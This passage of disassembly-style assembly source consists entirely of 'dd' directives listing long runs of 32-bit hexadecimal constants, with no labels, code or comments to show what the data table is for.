		dd 38F0D872h, 25822AA4h, 4DE95464h, 2E78277Dh, 0B7332DB9h
		dd 184E47F6h, 58818306h, 43C77566h, 7C283D1h, 85368AEFh
		dd 0D4F78B9Ah, 83AA57D8h, 0A4AD1799h, 0B78279CFh, 82A28856h
		dd 503239D7h, 0DF665B73h, 554580BBh, 56FDB8AEh,	5B960791h
		dd 0E622358Ah, 0D68BA831h, 0B72BE14Eh, 0F8CC6E75h, 49F7E30h
		dd 8FC357F1h, 0A92D4AB2h, 4EE69F3Ch, 1CC68E6Dh,	19E5D103h
		dd 6460BE8Dh, 87A69160h, 548A6A77h, 286AD08Eh, 12372DDCh
		dd 938487C5h, 0AD4CDCFh, 77FE0BD6h, 2DB9BAB5h, 5EF5824Ah
		dd 0F702A8C1h, 48EE6E9Dh, 0C3D92423h, 0B1E3AD1Ch, 71D21849h
		dd 0A2E8A17Dh, 5C4BAE67h, 0EB7D439Ch, 4E09F2ACh, 0F4A3C26h
		dd 0F453D1F8h, 7AED302Fh, 290D1489h, 83EEEE75h,	0DB6E85B6h
		dd 0C2D01470h, 0FE4543BBh, 9EE7E05Dh, 0E401E66Fh, 46A680F7h
		dd 7846B66Eh, 249C800Fh, 75FBE355h, 0A24A09A1h,	0FC9AB7F2h
		dd 0FFD5769Bh, 19F5FDA9h, 24D3E229h, 0A8F4DF9Bh, 0D795004Bh
		dd 0E8965125h, 93F973Dh, 205B4Ch, 9AB79832h, 5B1F8EF8h
		dd 0C470F19Ch, 0B51FE816h, 0AE896CC5h, 0F9796D9Dh, 57B5EC9Dh
		dd 37DDAE98h, 5A068DABh, 873778Bh, 36815B29h, 0F5974A5Ch
		dd 0A6D429B9h, 28D74E68h, 9C73102Bh, 554C6BD9h,	865E6CD9h
		dd 0CF64A9D6h, 41B8F825h, 5E8A67B5h, 0F6AE56CCh, 9037B32Ch
		dd 0A5314492h, 0A7084192h, 0D8F29A47h, 0CF0D1E77h, 0C5034BECh
		dd 0B3EDBECFh, 876F5888h, 327BA43Ch, 0A5E5D6B3h, 0D4DB88D9h
		dd 29C61419h, 0A293AE32h, 839B3A7Eh, 0E4F302C1h, 522C5EA5h
		dd 9152B42h, 0C75DB859h, 8BD94555h, 309241ABh, 0E9170BBFh
		dd 1F442EC6h, 3D492C83h, 0D6159BB6h, 3789F3C9h,	7909FE72h
		dd 0F0C415DEh, 0D259F9A6h, 0AD186F29h, 7DD1DC35h, 0B8CA29Ah
		dd 875AF6C2h, 0F1DE8861h, 0F544A07Bh, 1503A87Eh, 1C7A2C01h
		dd 0A8461A3Fh, 7DD97B68h, 2950AE1h, 17E5D36Fh, 18A51183h
		dd 9DD36DFBh, 9979E8EDh, 1364B171h, 168FD20Ah, 9327FA36h
		dd 0C7A73DAAh, 55AE98ADh, 1A9ABB1Ah, 0A1302E95h, 10A3AA9Ah
		dd 8FFC6281h, 0BC735B5Ah, 0FF39A5E7h, 5362D033h, 96DFF42Bh
		dd 0BDE58535h, 5B5EACD4h, 101A0064h, 1D05CF0Ah,	0D67E30CFh
		dd 0CBA882A1h, 612AC9E8h, 0B506C924h, 6FD17C5Ah, 488F75CBh
		dd 0C9DC637h, 0EA7F03F4h, 61AA2B28h, 1E1D780Ch,	3B8852Eh
		dd 88E2A3B4h, 8191F7A7h, 93BD8AE2h, 0B4468002h,	0C874ADF6h
		dd 663E1786h, 3DDB72F8h, 0EBD50266h, 312B59ACh,	9118E359h
		dd 5833B0EAh, 0B4F38069h, 0B6713A88h, 0CEFA6DC6h, 0EBB56B45h
		dd 4F79B334h, 0F70B9372h, 0F995E00Ch, 0F1208211h, 0B5AFAB45h
		dd 16DE1D27h, 9E51C52Ch, 1E36F2D2h, 404FBEE6h, 0FEE9F945h
		dd 347694C7h, 0B182D75h, 9C9DD191h, 844403C5h, 0CB39F6D9h
		dd 0EA0D1B04h, 77E3D1E1h, 0A65B5828h, 836F5EFBh, 0A6DCA043h
		dd 9BFE31D3h, 10FF0E6Bh, 76354CD4h, 5E0B9E9Fh, 63E68EA0h
		dd 0CC712988h, 66E1877Eh, 29212986h, 77F50356h,	1CFBCA57h
		dd 825FE21Eh, 3FB866FDh, 1B3B30C9h, 0A3583BBFh,	0A562F523h
		dd 0AD3F79Fh, 0B713643Ch, 2B6FB7E2h, 2FAE162Fh,	0E208BC5Ah
		dd 197A29ECh, 72281912h, 567695A5h, 4797BEDEh, 0CD6029D0h
		dd 90961B7Dh, 0A06C9E1Bh, 40ED5723h, 80CCBD4Eh,	0A30A0989h
		dd 4A07E0FBh, 0A9B61E7Ah, 0E0F41ADCh, 0C6A1A944h, 0C973FB1Bh
		dd 0ED06E316h, 3EC68B1Ah, 605C2EABh, 149A8CE7h,	0CC30084Dh
		dd 83AAE568h, 0CA279F84h, 0F0333826h, 0C20732Dh, 6FE1375Fh
		dd 37694F57h, 9956F890h, 38A39A1Ah, 0FA6CF389h,	90283F62h
		dd 2E601E30h, 64118FCDh, 81C02C7Bh, 6D848B5Dh, 0BD0708D6h
		dd 5285C56Fh, 966A7655h, 0DDF81BACh, 7542FA02h,	7451F624h
		dd 0A5C2C32Dh, 0C295673Ah, 0CF014B30h, 70E37988h, 6F415ECAh
		dd 0ACD133A2h, 99D35C19h, 74587F0Eh, 0BAF07612h, 9475EAB0h
		dd 43579598h, 0EF4B9DC0h, 65D27ABh, 0AA6D97C0h,	7F413D0Eh
		dd 8E79002Fh, 0C419AA33h, 0D4A0C9B4h, 0BB6BFAFEh, 2469B64Fh
		dd 5E6EFA2Eh, 4E939191h, 318FB05Ah, 110BEE54h, 73FC0D3Fh
		dd 0B0661D0Eh, 8A9DD556h, 361BBFFh, 0A236AE05h,	134051D0h
		dd 2469F058h, 0C0BA90BDh, 0A81CD3A5h, 8341A73Bh, 0D15CBC71h
		dd 7AB494B2h, 3E217E67h, 0BBF52773h, 0F83ED348h, 5335FE0Ah
		dd 1C3177A6h, 0BFE675BFh, 5D04F0BEh, 0E682CF0Ch, 0DAAB0BCCh
		dd 5B5284h, 0BDB04149h,	6F2F10C0h, 158957E1h, 3396AFAh
		dd 0D4AC369Eh, 0D80F58F3h, 0E36E60F4h, 31DECE78h, 0A4952C23h
		dd 180F1E05h, 27BA6005h, 0CA12CDFEh, 9AC240DCh,	0FBF43BABh
		dd 0F57281B9h, 5BB22BD1h, 853BF9ADh, 15BBA2ACh,	0B0ED684Ch
		dd 4F7163ECh, 32EC2CB9h, 3CCE40E7h, 3B5657C6h, 0A19F063h
		dd 0DB99F56Ah, 2EDE1114h, 0ABD16762h, 527B2173h, 5A66500h
		dd 5CB92E03h, 95CE71B0h, 391C8A22h, 0A3EE65DEh,	0CC7BA3EDh
		dd 0C86B93A5h, 0A3E28451h, 1E2248ECh, 737EBED8h, 192D1E72h
		dd 0EBA84E09h, 7944B3B6h, 19EBB1B9h, 0F7AE014h,	353A98E4h
		dd 2FDEEC12h, 0E08BCECDh, 2E6300CCh, 68C78497h,	0AC5F3A4Ch
		dd 5173352Fh, 9275B726h, 0CCDADBBh, 0CE6069BDh,	265B6808h
		dd 0F84E10C7h, 820BEA52h, 0AFB27EA5h, 0CD3D5331h, 388BF406h
		dd 142FE6B0h, 47191EF5h, 72E15C6Eh, 1F509DBh, 491D026h
		dd 172D4064h, 2CB3DF39h, 64C3D8F1h, 0F4F2130Ah,	2DAF3372h
		dd 7B08FF36h, 0DB5BB584h, 490EE66Bh, 37DFADD0h,	0EB25AABEh
		dd 221A0EEAh, 0D3C4E54Bh, 0EAAD6FE0h, 0D51BFA25h, 615FF653h
		dd 3D996131h, 0D3270B76h, 80C29C83h, 3E2A25B7h,	4E9858C1h
		dd 0E41265ACh, 6064150Dh, 0E99FD1B6h, 0AAF9D67Eh, 0F03E094Ch
		dd 70399D06h, 0FC156A0Ch, 54BE561Bh, 2977BA4Fh,	0E876D882h
		dd 66387B88h, 4400C335h, 99F58F7Fh, 954DB027h, 0DEA1DA77h
		dd 9D7242Fh, 0B4E2026Bh, 0A4B70CDh, 0D0184418h,	0ED14D8DBh
		dd 3ED31823h, 0ED3BA4C2h, 0FBF96D22h, 3E7BCA2h,	2BEF6985h
		dd 0C283833Fh, 0D3BC9CE6h, 76942D2Bh, 950B6EF4h, 3652950Fh
		dd 47466FE1h, 7C629F44h, 0D6C6444Dh, 0B79A63E3h, 28FBDA2Eh
		dd 16B7F254h, 0E42D885h, 2430B9A0h, 0D5BD9DBCh,	0FFB2C548h
		dd 0E640ACF4h, 0D5467DBEh, 0E3C7F90Dh, 7F9F0A7h, 43E4173Ah
		dd 0E1F89A3Fh, 0EEEC8B3Ch, 1038C1C3h, 569F46DEh, 92D75305h
		dd 0F764EDC6h, 68B26A7Eh, 347D05BBh, 0CA64752Ah, 7E807DB7h
		dd 0D1373F8Ch, 0D02F84A6h, 0F3D005DFh, 735031A4h, 0DF131CB5h
		dd 4663DDCAh, 9DCC7E0h,	5BE27BCBh, 0FE827FB7h, 225D01BCh
		dd 4D8E6E28h, 6F0276CCh, 7DA3BDF6h, 85E96600h, 275166A1h
		dd 4912B0C7h, 2BC08B01h, 1089FCF9h, 4C4AA18Eh, 0DA1CFDB8h
		dd 0E8D91655h, 7EBC25EEh, 12D9344Bh, 5167BD60h,	0D9633914h
		dd 0BA4DC29h, 87AE3B5h,	405118ECh, 0DE34A03Eh, 0A7CA315Fh
		dd 8CA1201Bh, 0B7761B10h, 0F3D17FCAh, 6AA85360h, 77036E39h
		dd 56933ECDh, 661E8838h, 29C47F92h, 1052660h, 0CA44C2BCh
		dd 893119DEh, 4D4045B4h
		dd 0D39F568Eh, 2DAB06A3h, 7169BE27h, 0FBB2B94Dh, 194DBDB7h
		dd 0D619EDFBh, 3A243B1h, 0FE89DDD1h, 1B5C236Fh,	0A577B07Ch
		dd 35DFB217h, 9C9BD55Ch, 0AE502B08h, 5771A40Eh,	6C81F7h
		dd 0AB8797AAh, 0CF4A9DB9h, 3ADCFBEBh, 0B97AB57Dh, 23800574h
		dd 924A2808h, 0C5E634F3h, 41765B03h, 30A27C5Bh,	3AB4446h
		dd 18C30B46h, 8D7F0137h, 0E549359Fh, 3E717727h,	4D50A5CBh
		dd 61BF47B2h, 77D28009h, 255B379Eh, 581C7BA2h, 0F8641598h
		dd 97591BDCh, 0AE8391AFh, 0F62688FAh, 5C55389Bh, 0C69090D2h
		dd 0FE019318h, 0AD46A46Ch, 2D60BB31h, 407B5F18h, 99A49BDEh
		dd 0D286524Dh, 0A69D45D7h, 6642A9E6h, 611CB8E3h, 0DE56D7B1h
		dd 0DC1EE9DBh, 5C7F9E1Dh, 0F1BBA1B1h, 595A7108h, 264278CFh
		dd 79B3E57h, 0D30CAA8Fh, 0C6065BA2h, 41878B2Dh,	725032F9h
		dd 7D1FE498h, 4C3EA547h, 0EA81869Ch, 0C29ABC70h, 0A2C2F227h
		dd 0AE86D884h, 9B96B24h, 47A15CC3h, 93C47DADh, 9EFB10h
		dd 8CBFB280h, 0DA82A2C2h, 0CC8290FBh, 25416D99h, 0DAFA7AD2h
		dd 5420CE89h, 0A1965F1Ch, 3972256Fh, 2484DAE5h,	59845322h
		dd 91D459BAh, 73562954h, 0AE168D87h, 0B958705Dh, 2F692DAAh
		dd 0DE0F464h, 3442B2B1h, 60A381C7h, 7C8E90E7h, 1E2C0B18h
		dd 2DFC84ADh, 55298BA5h, 2F82D814h, 9C13BB9h, 0A05BC789h
		dd 62963CB7h, 58193FE7h, 117DCC3Ch, 838F9234h, 0BC0B4587h
		dd 0ECA51654h, 30B48227h, 5DBA244Fh, 165EE6ADh,	3A9F1C2Ah
		dd 0B2F14388h, 0E09BE42Ch, 0D35484BCh, 275D322Ah, 44A4927Ch
		dd 73FEBD06h, 13210569h, 6641FFA4h, 3CA450Dh, 97948FFFh
		dd 62C78B8Fh, 0F943DD16h, 9589D6E9h, 184FCDC1h,	0F2DD1C52h
		dd 1483D171h, 2BBC5C4Dh, 6D812F6Ah, 99C7F512h, 73373D8Bh
		dd 2D13ED76h, 0AD56E1A4h, 89D73030h, 544B462Eh,	8BB92276h
		dd 5CA855C8h, 6CF94FF8h, 11119F2h, 0F461D45Bh, 2A401717h
		dd 693E289Ah, 886877D1h, 55525B1Fh, 78541D02h, 842FC22Dh
		dd 30CE99D1h, 66DBD36Ch, 69DCA6B9h, 71A9D94Fh, 1422F2Fh
		dd 6942048h, 9AF7BB3Ch,	0F3CD8868h, 4CAA5CA6h, 0EDC67C67h
		dd 7F96BBCFh, 0D1E37AF9h, 0F713F4BBh, 0F8CA01E2h, 0F5ECC5h
		dd 209D9A45h, 9F56D7h, 0E3AF08Dh, 6B32EEA8h, 0E3D62D3Bh
		dd 361ECDB5h, 0BCC48C50h, 98141617h, 133221A1h,	0D1AB3D45h
		dd 3C3AB30Ah, 0E92CC431h, 3BFED3F8h, 927BBA39h,	1403B338h
		dd 5470C477h, 7409CB5Fh, 96D8955h, 0D239667Bh, 0AB2394CDh
		dd 0BE08F6B2h, 0A794B8Ah, 0E8F5A140h, 9512485Ch, 5AC8401Dh
		dd 0CD7436EDh, 911362E1h, 0EB0A8F3Ah, 2EA18591h, 76D3FF51h
		dd 9FDA54DCh, 0EC274C61h, 903597BEh, 0FD2456DDh, 3A596A77h
		dd 5C6A476h, 0FD589FA7h, 64827E58h, 2A703041h, 755DF979h
		dd 25AAEB15h, 51B134C3h, 4BC496AAh, 0A014BD74h,	0A99CAC5Ah
		dd 34C6DAABh, 3A344C84h, 0F7A3EAE8h, 1ECDFCF3h,	609797AEh
		dd 42E30C88h, 0C959D03Ah, 4C2A4892h, 6A91D9B4h,	9A3C3B88h
		dd 0A39EC0CFh, 0A3E5CCAEh, 58C1B436h, 1CD21D44h, 1F7B806Eh
		dd 0CB13E353h, 8433B7C7h, 1F9BCA7Ch, 2E7BC402h,	3E639D93h
		dd 7BD41AD6h, 0FCAD923Fh, 0B578C85Fh, 1FD6CCAh,	63242760h
		dd 0C306F9F2h, 2A80A3A9h, 4C4D7020h, 44DD575Ah,	6A82A8ABh
		dd 4367CDF1h, 0FAFC8414h, 9259B0B0h, 3E6D161Dh,	0B57FD0E7h
		dd 95517896h, 5CED9373h, 352177D6h, 4221126Dh, 7550225Ch
		dd 0C7A9D3ADh, 0C790EA37h, 2AE3F7B0h, 8DFEAA48h, 416DF761h
		dd 0A5724185h, 0D7B97A1Fh, 0F579046Ah, 0D27A8DD3h, 0D29573B1h
		dd 0D3252A64h, 3FC33BA4h, 169A2809h, 20AA673Fh,	874290DAh
		dd 377C16DCh, 0A38493A2h, 77389A6Ch, 0BB592EA7h, 0D4024816h
		dd 865E6913h, 0B321FC72h, 0BA25C895h, 0F6208697h, 4EE03825h
		dd 0D82430C0h, 4D499E2Ah, 0D288DBA2h, 1F60DEE0h, 0C3F004EBh
		dd 4C49180h, 3B56DBEDh,	2A9347D8h, 0E3951BFBh, 0C0F73CFh
		dd 57F80425h, 0B4BB87FCh, 321A32A0h, 14F398BBh,	24DF57B5h
		dd 4BDFD8ECh, 6F46542Fh, 4AD0B26h, 93AFDE84h, 8159F0D5h
		dd 7E4A44CCh, 9BF103B9h, 7413BC80h, 0B33451FAh,	2499866Eh
		dd 0E7215D90h, 0E27F363Ch, 377F4E25h, 0ABE64612h, 70F088B7h
		dd 65D9948Ah, 7DF7341Dh, 94D31FF1h, 2D895751h, 0D197302Ch
		dd 0DFC686ECh, 0C1B95C46h, 8ABB076Eh, 0E2E73DF8h, 56224050h
		dd 0C22A63E4h, 42897771h, 8B3F376Bh, 2B1C68BEh,	0E41EB1DDh
		dd 20C13D57h, 0DA854680h, 5DD0C9BCh, 0A7F48BE7h, 7BE3D0E1h
		dd 0A5CA6655h, 0B55C0DB8h, 0BA225413h, 711816F7h, 0ABBEB970h
		dd 0B06CBF28h, 694831BEh, 73807D48h, 4D15AB4Ch,	0BCED0034h
		dd 0CF581444h, 0F40026E7h, 8E102288h, 5C10BFE9h, 7A0EF847h
		dd 5089C0EAh, 0C9E78BE8h, 435ADEC6h, 882E4C8Dh,	0F2B8949Bh
		dd 20C5CDF3h, 3D5ECA5Eh, 0A512BB85h, 0F3435596h, 3B58CDA0h
		dd 152ABC6h, 0E576F13Eh, 4180D89Bh, 0AD9692C6h,	5E494381h
		dd 3C05B929h, 7798EE64h, 1565F760h, 4679CB3Ch, 0B8FE2B75h
		dd 0FCEA94F1h, 31EE67Ah, 4C15BE87h, 702CA25Dh, 0D7C6677Fh
		dd 0A09E4E16h, 0BBC06493h, 0AB5A6852h, 0CE74CCF9h, 2E7302E2h
		dd 1A01642Ah, 72CB7DF3h, 8D1E4534h, 9398A966h, 521EE6C6h
		dd 0A5D0FF5h, 0AF20F6B8h, 0FB774669h, 0C978D110h, 0FC1DD524h
		dd 0C119985Ch, 0B2107DF2h, 516F0F95h, 5F1D5137h, 32BF66E8h
		dd 330919A7h, 26DD3AFDh, 70BB27CDh, 4027054Ah, 0B8905C0Ch
		dd 80D9B162h, 223A8508h, 1ABF2239h, 0B92C4257h,	0D2328F6Bh
		dd 343368B5h, 42C5DF7Fh, 8394C268h, 0C50CBFFh, 65845DAh
		dd 0F688DDECh, 0C7C7EFB7h, 2B78E301h, 15B6A621h, 48EAA888h
		dd 3FAAEFD3h, 0E6AC16A6h, 0E79C3C8Ah, 690F24C8h, 0F5CD9732h
		dd 0D6DDB7Fh, 8285B90Ch, 3864E45Bh, 0CE40BE41h,	1631179Bh
		dd 5E6E6700h, 196BDE52h, 0C21CE9Eh, 9BB52A80h, 0E355A2C0h
		dd 0AF1AE884h, 49CBD783h, 0E6FADDE7h, 0D9D7C13Dh, 4BC37D2Eh
		dd 6E495EAh, 0BD6E1608h, 2029D3ABh, 0D7D507F1h,	1C1B55D6h
		dd 665E1A00h, 4533B1EAh, 89806F81h, 0F4B710CBh,	0AA9C6AB6h
		dd 4ECFC25Eh, 0B3AC8409h, 0D34029E2h, 0E78AFE68h, 3A3C7748h
		dd 2AF3B443h, 0DE3CA4ABh, 0FFBC2E28h, 0EE464196h, 9F448FD0h
		dd 0E977C5CCh, 82B0DFE6h, 0FDB27460h, 0B6FB1DFCh, 81C385F6h
		dd 0FEF56F26h, 2064E2C5h, 27999E68h, 46F1379Ah,	0B2247015h
		dd 533BB9F7h, 0B4D92BD9h, 39A041D5h, 2FB5284Dh,	7231CE0h
		dd 0F6436EACh, 3A33FDE7h, 427490DDh, 3AC857EBh,	0D15670FCh
		dd 26B1ED7Ah, 0E4D68846h, 0C8E4ED54h, 0E52E707Ch, 0DCFA6F8Bh
		dd 0A326649Bh, 99E124DEh, 0D901504Ah, 3BB4D311h, 0F88DECE3h
		dd 0D018F6FCh, 245FEA05h, 0E8790C03h, 0AAB028A1h, 0F45E3D94h
		dd 6E5615FDh, 1FC8F256h, 75F10A2Ch, 6120D851h, 0A11F0247h
		dd 0F3405204h, 0B7DD9850h, 7D1B153Bh, 8CF28B0Dh, 5576B5A3h
		dd 4F71C237h, 0FA7EDCB0h, 95A7D835h, 82EF061Bh,	53E4C1E2h
		dd 502DA911h, 0A0EF7689h, 37AC93C4h, 68F55424h,	6096196Dh
		dd 74DEAF95h, 7AE4F35Eh, 51BCBA64h, 0B209D678h,	0ACA6276Eh
		dd 7E8367BDh, 0A06F78BDh, 17C1F526h, 1785832Eh,	99216BBDh
		dd 0DB5083B2h, 0A99239DDh, 374E73A0h, 0D51D6EA0h, 0D886BC26h
		dd 82BFD730h, 0E3746112h, 62B70BF0h, 0E99B141Dh, 0EF9724C9h
		dd 27300816h, 0CC447A1Fh
		dd 0A41821E1h, 19ECEFFh, 113BC9E3h, 2D529E87h, 0B4822847h
		dd 8841B04Ah, 0F47C177Dh, 0A6580320h, 83E317DBh, 2FF3E25h
		dd 0D225AE8h, 0B160DF12h, 971CBFE5h, 30DB7EE5h,	0D3353BE8h
		dd 3895798Fh, 0C3C9A5ACh, 0F70995DCh, 0CFA068B2h, 5F67BEFFh
		dd 4BCDFEA7h, 5D99887Eh, 2B5B4203h, 217551F6h, 86312418h
		dd 0D0388EDDh, 0BFF3513Dh, 6DD779FFh, 8EC23598h, 0D4134811h
		dd 1BA80AF0h, 0E8E1FE25h, 8D127D1Ah, 0BE92ED29h, 0CFFED1ABh
		dd 4D991FCBh, 7D5E16B9h, 5F049CD3h, 0F110ED51h,	3A03B8FBh
		dd 7757C6C8h, 93199DB7h, 0C269CEB7h, 13974A3Bh,	3E1F5C47h
		dd 7859C1CCh, 8F2AFB7Bh, 0A932B06Ch, 2B31DA18h,	20B9198Ch
		dd 322041D5h, 3BBACDE9h, 3E0B0AD8h, 43A0CFB4h, 0F871370Dh
		dd 91A717Dh, 1E621857h,	0EFBAECFDh, 48DDB995h, 0FAFC4951h
		dd 5D9375F2h, 4DC07F4h,	79822FBEh, 35FBDC2Fh, 50FB26ECh
		dd 0ECB867BEh, 0B91D1795h, 10696A62h, 8D2DD2FBh, 9D21987Eh
		dd 869013D1h, 6C47D7A2h, 339CAFFAh, 7895536Fh, 0DC045D1Ch
		dd 1D3598FCh, 5DAB55BDh, 63810BBAh, 0F809CE67h,	0F5C6A752h
		dd 4F4AF3C8h, 92E11835h, 687C53CAh, 0A8210494h,	0E61CE1F1h
		dd 282AE641h, 3A420B41h, 0AC613136h, 5CABA685h,	0CA6635D2h
		dd 52776264h, 7AB93BB6h, 0C546024Bh, 552B83C4h,	9261A39Bh
		dd 0DB216D79h, 228AD16h, 0B900CB56h, 0E925CBC6h, 0FA748BADh
		dd 24718251h, 0D0852160h, 0B77F8029h, 7447AEBDh, 95BBEEC2h
		dd 0BE8FC59Eh, 963AD88Eh, 1E38CF9Ch, 0C44FC071h, 210ABD1Fh
		dd 0BD3FCF0Ch, 9881EF96h, 0C0C45F1h, 218878E7h,	91D95D70h
		dd 0DD0D2B10h, 2F848B74h, 0EEAB33F2h, 49F7CFFBh, 0A06A3AC6h
		dd 23BDA932h, 58FE4813h, 0C1999AD5h, 19FA50EDh,	0F8DAA7B7h
		dd 67764C5Ch, 0E40D9F05h, 0A30A23AEh, 105AF4E2h, 990042F9h
		dd 0F733CC4Ah, 4C1ED926h, 7D63B1C4h, 0D2314369h, 0F4C9A1C5h
		dd 56E4EE27h, 0D23E0CDCh, 0B9C9CB09h, 0EFDE6B88h, 0A9ACFFC5h
		dd 94C3BA7Ah, 0AED3FF32h, 15E2958Fh, 893DA8Eh, 9930E811h
		dd 35D73CF2h, 0F01C653Ah, 66FB30CFh, 0E7F0E26Dh, 42E80BCFh
		dd 76B939D1h, 57C70054h, 5E7C573Bh, 2A793FFBh, 0F2342153h
		dd 9D611459h, 672CABBAh, 4428C544h, 26CCE62h, 64988D14h
		dd 0EA9F462Fh, 7249EA85h, 5D4C8CB6h, 76B85DEAh,	923E7A92h
		dd 29E7E63Ch, 2BAB3A6Ah, 38E88430h, 78F59904h, 0B97114A8h
		dd 1EC7A9A4h, 0F8E68D1Dh, 0FDE01120h, 70A35CE5h, 0C067C12Dh
		dd 69977C28h, 42CD7756h, 4616A2D2h, 8A488EC1h, 53C2A20Fh
		dd 6C6413Dh, 0B0DA4BE1h, 8226FA9Fh, 32D3E226h, 69B51949h
		dd 0B6AB937Ah, 11E309B3h, 37446D8h, 0BC0FE5Ch, 0E659E32Ah
		dd 0CAABA6Dh, 11CEB021h, 0B680C3F5h, 7C65E01Bh,	1727FC8Dh
		dd 0FDE76281h, 321D776h, 0B76881B5h, 11B9DA56h,	558F06C6h
		dd 56CD30CCh, 1924455Dh, 76681371h, 378EF70h, 0F1F10B02h
		dd 45B76A98h, 8CEE5BAEh, 30E8B1DBh, 0A420DD84h,	3577429Dh
		dd 0F7ED33C9h, 0E91CC746h, 0D623AE57h, 614A5885h, 0FE32AF53h
		dd 984812FFh, 0E0E4FD0Ch, 0B94498CDh, 8DEED82Fh, 603F9B6Ah
		dd 204137CDh, 6A9B5CE4h, 0DFCB4E74h, 641D72FFh,	0DD4A6BB7h
		dd 7DA1182Bh, 36412AAFh, 0C688C752h, 86D9E924h,	73E9399Ch
		dd 308CCC8Ah, 7541C991h, 9A54E850h, 0BF21671Fh,	49A968A8h
		dd 16E45F66h, 0A060CE3Fh, 8A26FA8Bh, 0CCEAE73Eh, 21BAF2E2h
		dd 62322447h, 0B356B9D4h, 0D552D135h, 0D82E4AB9h, 7DCCFFB0h
		dd 0DA1F4ED1h, 695B48D1h, 5C5A7713h, 686AAF7Ah,	0A20D8237h
		dd 0BF88B450h, 52061B99h, 9903806Dh, 0C7D57487h, 9F169451h
		dd 0CE9B5310h, 7F880735h, 378DC523h, 6671D892h,	9D1E9DCDh
		dd 0F8863589h, 0ACA2B08Ah, 0C61D98BAh, 0F5BBBB52h, 6CC5D23Fh
		dd 76E5BA5Ah, 304639Fh,	785EC17h, 644791E0h, 5F085560h
		dd 34F7267Ch, 870ECEB2h, 703E14A5h, 0E89CF093h,	964CCC2Eh
		dd 0C927A91h, 0B8D55608h, 247E532h, 6C243E3Eh, 4ED60A04h
		dd 4985B401h, 1BFB04FEh, 0DEB0DA6h, 7114C7ACh, 4A3E6B57h
		dd 841EAAA4h, 13A0D92Dh, 414DF9D3h, 66376550h, 0E8832499h
		dd 0EA2743F0h, 4C0EDA92h, 0B1F401CBh, 36B2BC61h, 96FEEEEh
		dd 3997CA83h, 37EBD001h, 0E55AEB8Ah, 18BFC10Fh,	0D70D8A91h
		dd 0EB2BAF3Fh, 3999509Eh, 0D8FC58CAh, 1B74A032h, 0C3AF4230h
		dd 0E05F792Eh, 9BCFE782h, 0E80725DFh, 57AD5577h, 0D1429245h
		dd 60BE69B5h, 61062979h, 888C665Dh, 0B7829FC6h,	322EF752h
		dd 77C88C14h, 0F2F2EB28h, 2CBB2769h, 505E6746h,	3B09092Bh
		dd 744565BCh, 0E22A6DA1h, 733077E0h, 99742546h,	91205861h
		dd 0A8474288h, 91671DDEh, 5ED4E1E7h, 468FE264h,	937F3935h
		dd 0C2B42890h, 89EE7994h, 0C81577B0h, 0AC8532CEh, 0A7B5EBCAh
		dd 8DA62798h, 0E4F09A3Ch, 2FD1AA9Ch, 9C42B8DAh,	3F0383F4h
		dd 91689445h, 837305D9h, 0AE28215Ch, 8A3D9177h,	0A9F88594h
		dd 1B536A4Eh, 0AE154349h, 1A4D6B93h, 0A7900FCAh, 5CC0E73Bh
		dd 0BEF7BC3h, 0AA4E484Bh, 9C79F29Eh, 0E198581Dh, 0DCDCB49h
		dd 8F669036h, 394AE5A0h, 0A732C43Ch, 0B6FC12B3h, 0ED79CCE0h
		dd 5740593Ch, 51361848h, 5FBBFB15h, 17648124h, 1F119EBAh
		dd 0E6E41CDDh, 2ABA7CCFh, 0B455A4DDh, 0DBE11CD8h, 0FB5B113Dh
		dd 2BD2F1C2h, 3C5CD60h,	0F810BE9Ah, 6939501Bh, 5C51DFA2h
		dd 19A611F2h, 40F19340h, 50511E91h, 1776DCFDh, 89935F47h
		dd 0A8AC97D6h, 45AAE95h, 7341626Ah, 33D45A2h, 0F0A1FECEh
		dd 0B2B66DDEh, 37D3F736h, 0FF4ED690h, 0B474843h, 8ABEF8DEh
		dd 0F0FF5A23h, 4EC6965Ch, 2DD63BA2h, 0A7AC88F1h, 7ADD59DEh
		dd 9BBDDBB6h, 8F81E773h, 6A765F98h, 0FDB5966Ah,	8783AC2Ch
		dd 5E9F083h, 0E428D321h, 0CE444E46h, 9A52DBA2h,	4DFE5469h
		dd 291E0676h, 52E3E6DFh, 0C6821430h, 0E39E34C2h, 5B59458Dh
		dd 45AFB207h, 0DB8783E8h, 70A54AA8h, 5302D770h,	3B800801h
		dd 19CAD2B5h, 99E5BF47h, 53E6B598h, 0EBD7D91Fh,	0C145740Dh
		dd 3586665Eh, 68624A2Fh, 0CD379017h, 232CCF0Ch,	0C35101BEh
		dd 58E7FC19h, 1E9662D4h, 0DA447908h, 3B2903FDh,	0CA5C10EFh
		dd 5348B961h, 0FA34E223h, 280981B8h, 0F7363F25h, 21EDFA3Ah
		dd 87785BEDh, 6D010272h, 30094236h, 9F5FBE7Eh, 9A9EF698h
		dd 91AEB8Ch, 0F5F0EF30h, 43EC1C8Eh, 0E5B88C7Fh,	0B31EA7A2h
		dd 50D2AF79h, 95E7A440h, 5016772Bh, 6F0612D7h, 0E1AFBF06h
		dd 0B9EFE79Ah, 1C6B5D84h, 0C0D12356h, 3E06EC7Dh, 8E88468Fh
		dd 68E2EDA5h, 50A70EDDh, 6700AF04h, 844BAC79h, 9AA78084h
		dd 3FD1BF30h, 3A7C3336h, 0C92A6E2Eh, 0AD010D4Bh, 0E709C601h
		dd 0A28BE945h, 0DBFD8728h, 0C6F9FD55h, 832AE9E7h, 0AC8A0148h
		dd 0BDC54D65h, 420DDE81h, 0E81B9DE7h, 0A6D5B778h, 3B0B7417h
		dd 0F499B29Dh, 0C58A3F0Dh, 58AB6909h, 0F34E359Bh, 765E9F6h
		dd 1A1AC83h, 0C0AC3A57h, 0C2A7894Dh, 0BBB8C616h, 0B5797F9Ah
		dd 0E1B842CFh, 0EB905EAh, 55E53C10h, 0BB8FFC9h,	991E3636h
		dd 0F701F048h, 58401211h, 0F1FF8CDFh, 3FC57E28h, 0D0CEF82Ch
		dd 0D5EDBDFCh, 5FDB054Ah, 44189362h, 272F4E12h,	53384C93h
		dd 0E3906A4Ch, 0A3E6CA02h, 3B830ABCh, 0F6552E61h, 9037FCBDh
		dd 0E6483977h, 0E66DAE37h, 5320A08Ah, 0DCC3F224h, 0EDB63099h
		dd 6C46938Dh, 863766D5h
		dd 7280D5EFh, 0BCFD8AB2h, 3B947714h, 27CE9C13h,	27BA5868h
		dd 4BCFBEEAh, 1763C639h, 0A5FBD011h, 3EEA1A6Dh,	0DB81AB0Dh
		dd 0EFFA96h, 415531D9h,	5CB526E5h, 0EC1F3404h, 0D33B7001h
